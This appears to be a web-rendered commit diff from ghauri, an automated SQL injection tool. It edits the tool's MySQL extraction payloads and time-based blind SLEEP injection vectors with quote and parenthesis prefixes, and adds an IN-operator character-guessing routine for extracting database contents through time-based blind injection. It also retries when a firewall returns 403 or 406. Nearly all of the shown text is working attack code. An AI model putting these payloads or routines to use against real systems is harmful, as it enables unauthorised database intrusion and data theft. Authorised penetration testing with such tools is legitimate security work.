Projects STRLCPY ghauri Commits 50fa71ea
🤬
  • updated code quality, fixed #14, time based data extraction issue, implemented new IN function character guessing in case of time based injection..

  • Loading...
  • r0oth3x49 committed 2 years ago
    50fa71ea
    1 parent c536898c
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■ ■
    ghauri/common/payloads.py
    skipped 50 lines
    51 51   
    52 52  DATA_EXTRACTION_PAYLOADS = {
    53 53   "MySQL": {
    54  - "ASC": "ORD(MID(IFNULL({query},0x20),{position},1))={char}",
    55 54   "ASCII": "ORD(MID({query},{position},1))={char}",
     55 + "ASC": "ORD(MID(IFNULL({query},0x20),{position},1))={char}",
    56 56   "CHAR": "MID({query},{position},1)=CHAR({char})",
    57 57   },
    58 58   "Oracle": {
    skipped 406 lines
    465 465   "payload": "SLEEP([SLEEPTIME])",
    466 466   "comments": [
    467 467   {"pref": " AND ", "suf": ""},
    468  - {"pref": " OR ", "suf": ""},
     468 + # {"pref": " OR ", "suf": ""},
    469 469   {"pref": " AND ", "suf": "-- wXyW"},
    470  - {"pref": " OR ", "suf": "-- wXyW"},
     470 + # {"pref": " OR ", "suf": "-- wXyW"},
    471 471   {"pref": "' AND ", "suf": "-- wXyW"},
    472  - {"pref": "' OR ", "suf": "-- wXyW"},
     472 + # {"pref": "' OR ", "suf": "-- wXyW"},
    473 473   {"pref": '" AND ', "suf": "-- wXyW"},
    474  - {"pref": '" OR ', "suf": "-- wXyW"},
     474 + # {"pref": '" OR ', "suf": "-- wXyW"},
    475 475   {"pref": ") AND ", "suf": "-- wXyW"},
    476  - {"pref": ") OR ", "suf": "-- wXyW"},
     476 + # {"pref": ") OR ", "suf": "-- wXyW"},
    477 477   {"pref": "') AND ", "suf": "-- wXyW"},
    478  - {"pref": "') OR ", "suf": "-- wXyW"},
     478 + # {"pref": "') OR ", "suf": "-- wXyW"},
    479 479   {"pref": '") AND ', "suf": "-- wXyW"},
    480  - {"pref": '") OR ', "suf": "-- wXyW"},
     480 + # {"pref": '") OR ', "suf": "-- wXyW"},
    481 481   ],
    482 482   "title": "MySQL >= 5.0.12 time-based blind (SLEEP)",
    483 483   "vector": "0986=IF(([INFERENCE]),SLEEP([SLEEPTIME]),986)",
    skipped 1296 lines
  • ■ ■ ■ ■ ■ ■
    ghauri/common/utils.py
    skipped 1442 lines
    1443 1443   custom_headers += "\nAccept: */*"
    1444 1444   if custom_headers and "accept-encoding" not in custom_headers.lower():
    1445 1445   custom_headers += "\nAccept-Encoding: none"
     1446 + if custom_headers and "connection" not in custom_headers.lower():
     1447 + custom_headers += "Connection: close"
    1446 1448   custom_headers = "\n".join([i.strip() for i in custom_headers.split("\n") if i])
    1447 1449   raw = f"{request_type} {path} HTTP/1.1\n"
    1448 1450   raw += f"{custom_headers if custom_headers else ''}\n"
    skipped 257 lines
  • ■ ■ ■ ■ ■
    ghauri/core/extract.py
    skipped 68 lines
    69 69   headers,
    70 70   base,
    71 71   injection_type,
    72  - payloads,
    73  - backend="",
    74 72   proxy=None,
    75 73   is_multipart=False,
    76 74   timeout=30,
    skipped 4 lines
    81 79   suppress_output=False,
    82 80   query_check=False,
    83 81   identified_character=None,
    84  - expression=None,
     82 + vector_type=None,
     83 + queryable=None,
     84 + offset=None,
     85 + expression_payload=None,
    85 86   ):
    86 87   # we will validate character indendified in case of boolean based blind sqli only for now..
    87 88   is_valid = False
    88  - if identified_character and expression:
    89  - logger.debug(
    90  - f"verifiying the identified character is correct or not: '{identified_character}'"
     89 + if identified_character:
     90 + condition = expression_payload.format(
     91 + query=queryable,
     92 + position=offset,
     93 + char=ord(identified_character),
    91 94   )
     95 + expression = vector.replace("[INFERENCE]", f"{condition}").replace(
     96 + "[SLEEPTIME]", f"{timesec}"
     97 + )
     98 + sleep_time = timesec
     99 + # logger.debug(
     100 + # f"verifiying the identified character is correct or not: '{identified_character}'"
     101 + # )
     102 + logger.payload(f"{expression}")
    92 103   attack = inject_expression(
    93 104   url=url,
    94 105   data=data,
    skipped 7 lines
    102 113   is_multipart=is_multipart,
    103 114   injection_type=injection_type,
    104 115   )
    105  - if attack01:
     116 + logger.debug(
     117 + f"sleep time: {sleep_time}, response time: {attack.response_time}"
     118 + )
     119 + if attack01 and vector_type == "boolean_vector":
    106 120   bool_retval = check_boolean_responses(
    107 121   base,
    108 122   attack,
    skipped 3 lines
    112 126   result = bool_retval.vulnerable
    113 127   if result:
    114 128   is_valid = True
    115  - logger.debug("character is valid..")
    116  - else:
     129 + logger.debug("character is valid.")
     130 + if vector_type == "time_vector":
    117 131   response_time = attack.response_time
    118 132   if response_time >= sleep_time:
     133 + logger.debug("character is valid.")
    119 134   is_valid = True
    120 135   return is_valid
    121 136   
     137 + def _search_using_in_operator(
     138 + self,
     139 + url,
     140 + data,
     141 + vector,
     142 + parameter,
     143 + headers,
     144 + base,
     145 + injection_type,
     146 + delay=0,
     147 + timesec=5,
     148 + timeout=30,
     149 + proxy=None,
     150 + attack01=None,
     151 + code=None,
     152 + match_string=None,
     153 + not_match_string=None,
     154 + text_only=False,
     155 + is_multipart=False,
     156 + suppress_output=False,
     157 + query_check=False,
     158 + minimum=None,
     159 + maximum=None,
     160 + offset=0,
     161 + expression_payload=None,
     162 + queryable=None,
     163 + chars="",
     164 + vector_type=None,
     165 + retry=3,
     166 + ):
     167 + if not minimum:
     168 + minimum = 32
     169 + if not maximum:
     170 + maximum = 127
     171 + is_found = False
     172 + character = ""
     173 + http_firewall_code_counter = 0
     174 + error_msg = None
     175 + retry_on_error = 0
     176 + logger.progress(f"retrieved: {chars}")
     177 + sleep_time = timesec
     178 + 
     179 + def chunks(lst, n):
     180 + """Yield successive n-sized chunks from lst."""
     181 + for i in range(0, len(lst), n):
     182 + yield lst[i : i + n]
     183 + 
     184 + list_split_by = 26
     185 + while not is_found:
     186 + # logger.debug(
     187 + # f"splitting ascii characters by: {list_split_by}, (minimum={minimum}, maximum={maximum})"
     188 + # )
     189 + sorted_ascii_list = list(
     190 + chunks(
     191 + sorted([str(i) for i in range(minimum, maximum + 1)]),
     192 + list_split_by,
     193 + )
     194 + )
     195 + index = 0
     196 + while index < len(sorted_ascii_list):
     197 + if http_firewall_code_counter > 2:
     198 + message = f"{error_msg} - {http_firewall_code_counter} time(s)"
     199 + logger.warning(f"HTTP error code detected during run:")
     200 + choice = logger.read_input(
     201 + f"{message}. how do you want to proceed? [(C)continue/(q)uit] ",
     202 + batch=False,
     203 + user_input="C",
     204 + )
     205 + if choice == "q":
     206 + break
     207 + if choice == "c":
     208 + http_firewall_code_counter = 0
     209 + if retry_on_error >= retry:
     210 + logger.warning(f"Ghauri detected connection errors multiple times")
     211 + choice = logger.read_input(
     212 + f"how do you want to proceed? [(C)continue/(q)uit] ",
     213 + batch=False,
     214 + user_input="C",
     215 + )
     216 + if choice == "q":
     217 + break
     218 + if choice == "c":
     219 + retry_on_error = 0
     220 + if delay > 0:
     221 + time.sleep(delay)
     222 + characters_list = sorted_ascii_list[index]
     223 + in_payload = "(" + ",".join(characters_list) + ")"
     224 + condition = expression_payload.format(
     225 + query=queryable, position=offset, char=in_payload
     226 + )
     227 + condition = replace_with(
     228 + string=condition, character="=", replace_with="IN"
     229 + )
     230 + expression = vector.replace("[INFERENCE]", f"{condition}").replace(
     231 + "[SLEEPTIME]", f"{sleep_time}"
     232 + )
     233 + logger.payload(f"{expression}")
     234 + try:
     235 + attack = inject_expression(
     236 + url=url,
     237 + data=data,
     238 + proxy=proxy,
     239 + delay=delay,
     240 + timesec=timesec,
     241 + timeout=timeout,
     242 + headers=headers,
     243 + parameter=parameter,
     244 + expression=expression,
     245 + is_multipart=is_multipart,
     246 + injection_type=injection_type,
     247 + )
     248 + if attack.status_code in [403, 406]:
     249 + logger.critical(
     250 + f"{attack.error_msg} HTTP error code detected. ghauri is going to retry."
     251 + )
     252 + time.sleep(0.5)
     253 + error_msg = attack.error_msg
     254 + http_firewall_code_counter += 1
     255 + continue
     256 + response_time = attack.response_time
     257 + logger.debug(
     258 + f"sleep time: {sleep_time}, response time: {response_time}"
     259 + )
     260 + if response_time >= sleep_time:
     261 + characters_list = sorted([int(i) for i in characters_list])
     262 + minimum = characters_list[0]
     263 + maximum = characters_list[-1]
     264 + list_split_by = len(characters_list) // 2
     265 + if len(characters_list) == 1:
     266 + character = characters_list.pop()
     267 + character = chr(int(character))
     268 + is_found = True
     269 + break
     270 + else:
     271 + index += 1
     272 + except KeyboardInterrupt as error:
     273 + logger.warning("user aborted during data extraction phase")
     274 + quest = logger.read_input(
     275 + "how do you want to proceed? [(C)continue/(e)nd this phase/(q)uit] ",
     276 + batch=False,
     277 + user_input="C",
     278 + )
     279 + if quest and quest == "e":
     280 + raise error
     281 + if quest and quest == "q":
     282 + logger.error("user quit")
     283 + logger.end("ending")
     284 + exit(0)
     285 + except ConnectionAbortedError as e:
     286 + logger.critical(
     287 + f"connection attempt to the target URL was aborted by the peer, Ghauri is going to retry"
     288 + )
     289 + retry_on_error += 1
     290 + except ConnectionRefusedError as e:
     291 + logger.critical(
     292 + f"connection attempt to the target URL was refused by the peer. Ghauri is going to retry"
     293 + )
     294 + retry_on_error += 1
     295 + except ConnectionResetError as e:
     296 + logger.critical(
     297 + f"connection attempt to the target URL was reset by the peer. Ghauri is going to retry"
     298 + )
     299 + retry_on_error += 1
     300 + except Exception as error:
     301 + logger.critical(
     302 + f"error {error}, during detection phase. Ghauri is going to retry"
     303 + )
     304 + retry_on_error += 1
     305 + return character
     306 + 
    122 307   def _binary_search(
    123 308   self,
    124 309   url,
    skipped 103 lines
    228 413   maximum = maximum
    229 414   continue
    230 415   response_time = attack.response_time
     416 + logger.debug(
     417 + f"sleep time: {sleep_time}, response time: {response_time}"
     418 + )
    231 419   if attack01 and vector_type == "boolean_vector":
    232 420   bool_retval = check_boolean_responses(
    233 421   base,
    skipped 141 lines
    375 563   continue
    376 564   start += 1
    377 565   response_time = attack.response_time
     566 + logger.debug(
     567 + f"sleep time: {sleep_time}, response time: {response_time}"
     568 + )
    378 569   if response_time >= sleep_time:
    379 570   character += str(ascii_char)
    380 571   break
    skipped 117 lines
    498 689   break
    499 690   if vector_type == "time_vector":
    500 691   response_time = attack.response_time
     692 + logger.debug(
     693 + f"sleep time: {sleep_time}, response time: {response_time}"
     694 + )
    501 695   if response_time >= sleep_time:
    502 696   working_query = entry
    503 697   logger.debug(
    skipped 129 lines
    633 827   queryable=entry,
    634 828   chars=chars,
    635 829   offset=pos,
    636  - list_of_chars="1203456789",
     830 + list_of_chars="2013456789",
    637 831   )
    638 832   chars += retval
    639 833   logger.debug(f"character found: '{str(chars)}'")
    skipped 232 lines
    872 1066   attack_data = data
    873 1067   attack_headers = headers
    874 1068   user_aborted = False
     1069 + change_algo_on_invalid_character = False
     1070 + invalid_character_detection_counter = 0
     1071 + is_change_algo_notified = False
    875 1072   for vector_type, vector in self.vectors.items():
    876 1073   if vector_type in ["error_vector"]:
    877 1074   continue
    skipped 36 lines
    914 1111   is_char_found = False
    915 1112   for entry in payloads:
    916 1113   chars = ""
    917  - for pos in range(1, length + 1):
     1114 + pos = 1
     1115 + total_length = length + 1
     1116 + # for pos in range(1, length + 1):
     1117 + while pos < total_length:
    918 1118   if attack01 and vector_type == "boolean_vector":
    919 1119   # extract characters using binary search algorithm
    920 1120   try:
    skipped 40 lines
    961 1161   break
    962 1162   if vector_type == "time_vector":
    963 1163   try:
    964  - retval = self._binary_search(
    965  - url=url,
    966  - data=data,
    967  - vector=vector,
    968  - parameter=parameter,
    969  - headers=headers,
    970  - base=base,
    971  - injection_type=injection_type,
    972  - delay=delay,
    973  - timesec=timesec,
    974  - timeout=timeout,
    975  - proxy=proxy,
    976  - is_multipart=is_multipart,
    977  - suppress_output=suppress_output,
    978  - query_check=query_check,
    979  - minimum=32,
    980  - maximum=127,
    981  - offset=pos,
    982  - expression_payload=value,
    983  - queryable=entry,
    984  - chars=chars,
    985  - vector_type=vector_type,
    986  - )
    987  - if retval:
    988  - chars += retval
     1164 + if invalid_character_detection_counter >= 1:
     1165 + change_algo_on_invalid_character = True
     1166 + if not is_change_algo_notified:
     1167 + logger.warning(
     1168 + "ghauri was not able to guess character, switching algorithm.."
     1169 + )
     1170 + is_change_algo_notified = True
     1171 + if not change_algo_on_invalid_character:
     1172 + retval = self._search_using_in_operator(
     1173 + url=url,
     1174 + data=data,
     1175 + vector=vector,
     1176 + parameter=parameter,
     1177 + headers=headers,
     1178 + base=base,
     1179 + injection_type=injection_type,
     1180 + delay=delay,
     1181 + timesec=timesec,
     1182 + timeout=timeout,
     1183 + proxy=proxy,
     1184 + is_multipart=is_multipart,
     1185 + suppress_output=suppress_output,
     1186 + query_check=query_check,
     1187 + minimum=32,
     1188 + maximum=127,
     1189 + offset=pos,
     1190 + expression_payload=value,
     1191 + queryable=entry,
     1192 + chars=chars,
     1193 + vector_type=vector_type,
     1194 + )
     1195 + if retval:
     1196 + is_valid = self.validate_character(
     1197 + url=url,
     1198 + data=data,
     1199 + vector=vector,
     1200 + parameter=parameter,
     1201 + headers=headers,
     1202 + base=base,
     1203 + injection_type=injection_type,
     1204 + proxy=proxy,
     1205 + is_multipart=is_multipart,
     1206 + timeout=timeout,
     1207 + delay=delay,
     1208 + timesec=timesec,
     1209 + identified_character=retval,
     1210 + vector_type=vector_type,
     1211 + offset=pos,
     1212 + expression_payload=value,
     1213 + queryable=entry,
     1214 + )
     1215 + if not is_valid:
     1216 + logger.warning(
     1217 + "invalid character detected, retrying.."
     1218 + )
     1219 + invalid_character_detection_counter += 1
     1220 + if is_valid:
     1221 + pos += 1
     1222 + chars += retval
    989 1223   else:
    990  - logger.warning(
    991  - "ghauri was not able to guess character, switching algorithm.."
    992  - )
    993 1224   retval = self._linear_search(
    994 1225   url=url,
    995 1226   data=data,
    skipped 14 lines
    1010 1241   list_of_chars=list_of_chars,
    1011 1242   )
    1012 1243   chars += retval
     1244 + pos += 1
    1013 1245   logger.debug(f"character(s) found: '{str(chars)}'")
    1014 1246   except KeyboardInterrupt:
    1015 1247   is_char_found = True
    skipped 35 lines
  • ■ ■ ■ ■ ■ ■
    ghauri/core/tests.py
    skipped 823 lines
    824 824   injection_type=injection_type,
    825 825   )
    826 826   response_time = attack.response_time
     827 + logger.debug(
     828 + f"sleep time: {sleep_time}, response time: {response_time}"
     829 + )
    827 830   if is_different_status_code_injectable:
    828 831   condition_confirm_status_code = with_status_code
    829 832   else:
    skipped 1392 lines
Please wait...
Page is in error, reload to recover